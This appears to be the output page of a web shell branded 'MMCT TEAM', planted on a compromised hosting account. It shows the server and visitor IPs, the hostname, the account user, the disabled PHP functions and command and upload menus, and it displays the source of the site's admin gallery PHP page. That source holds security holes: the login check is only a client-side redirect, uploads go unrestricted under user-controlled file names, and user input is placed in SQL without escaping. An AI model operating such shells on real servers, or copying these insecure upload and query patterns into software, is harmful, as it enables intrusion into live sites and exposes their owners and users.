MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 18.117.162.216
Web Server : LiteSpeed
System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/gallery/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/gallery/../gallery.php
<?php

include "connect.php";

if (empty($_SESSION['admin'])) {

?>

    <script>
        location.replace('./index.php')
    </script>

<?php

}

?>



<!doctype html>

<html lang="en">

<head>

    <meta charset="utf-8">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">

    <link rel="icon" href="./Assets/Re-live Logo.png">

    <title>Admin Panel</title>

</head>

<body>

    <?php include("menu.php"); ?>

    <!-- On tables -->



    <div class="container">

        <h2 class="text-center mt-3 mb-2">Gallery</h2>

        <form action="" method="POST" class="mt-5" enctype="multipart/form-data">
            <div class="row">
                <div class="col-9 mb-3">
                    <label class="form-label">Upload Image</label>
                    <input type="file" name="gallery[]" class="form-control" multiple placeholder="Media Gallery" accept="image/*" required>
                </div>



                <div class="col-3 pt-2">
                    <button type="submit" name="btn_submit" class="btn btn-warning mt-4">Save Gallery</button>
                </div>
            </div>
        </form>



        <?php
        $result = $conn->query("SELECT * FROM `gallery`");
        $i = 1;
        if ($result->num_rows > 0) {
            while ($row = $result->fetch_assoc()) { ?>
                <div class="d-inline-flex mb-5">
                    <div class="card" style="width:200px">
                        <!-- <div class="card-header"><?php //echo $row['gallery']
                                                        ?></div> -->
                        <div class="card-body">
                            <a href="gallery_delete.php?gallery_id=<?php echo $row['gallery_id'] ?>" class="btn btn-sm btn-danger position-absolute">Delete</a>
                            <img src="<?php echo $row['gallery'] ?>" class="img-fluid img-thumbnail">


                        </div>
                    </div>
                </div>
            <?php
                $i++;
            }
        } else { ?>
            <img src="./Assets/noData.jpg" alt="" style="width: 300px;" class="img-fluid img-thumbnail">
        <?php
        }
        ?>
    </div>

    <?php
    if (isset($_POST["btn_submit"])) {

        foreach ($_FILES['gallery']['tmp_name'] as $key => $tmp_name) {

            $imagePath = "gallery/";
            $uniquesavename = time() . uniqid(rand());
            $image_type = basename($_FILES["gallery"]["name"][$key]);
            $gallery = $imagePath.$uniquesavename . '.' . $image_type;
            $filename = $_FILES["gallery"]["tmp_name"][$key];
            move_uploaded_file($filename,  $gallery);
            $result = $conn->query("INSERT INTO `gallery`(`gallery`) VALUES ('$gallery')");
        }
    ?>
        <script>
            location.href = "gallery.php";
        </script>
    <?php
    } ?>



    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.0/jquery.min.js" integrity="sha512-3gJwYpMe3QewGELv8k/BX9vcqhryRdzRMxVfq6ngyWXwo03GFEzjsUm8Q7RZcHPHksttq7/GFoxjCVUjkjvPdw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>




</body>



</html>

MMCT - 2023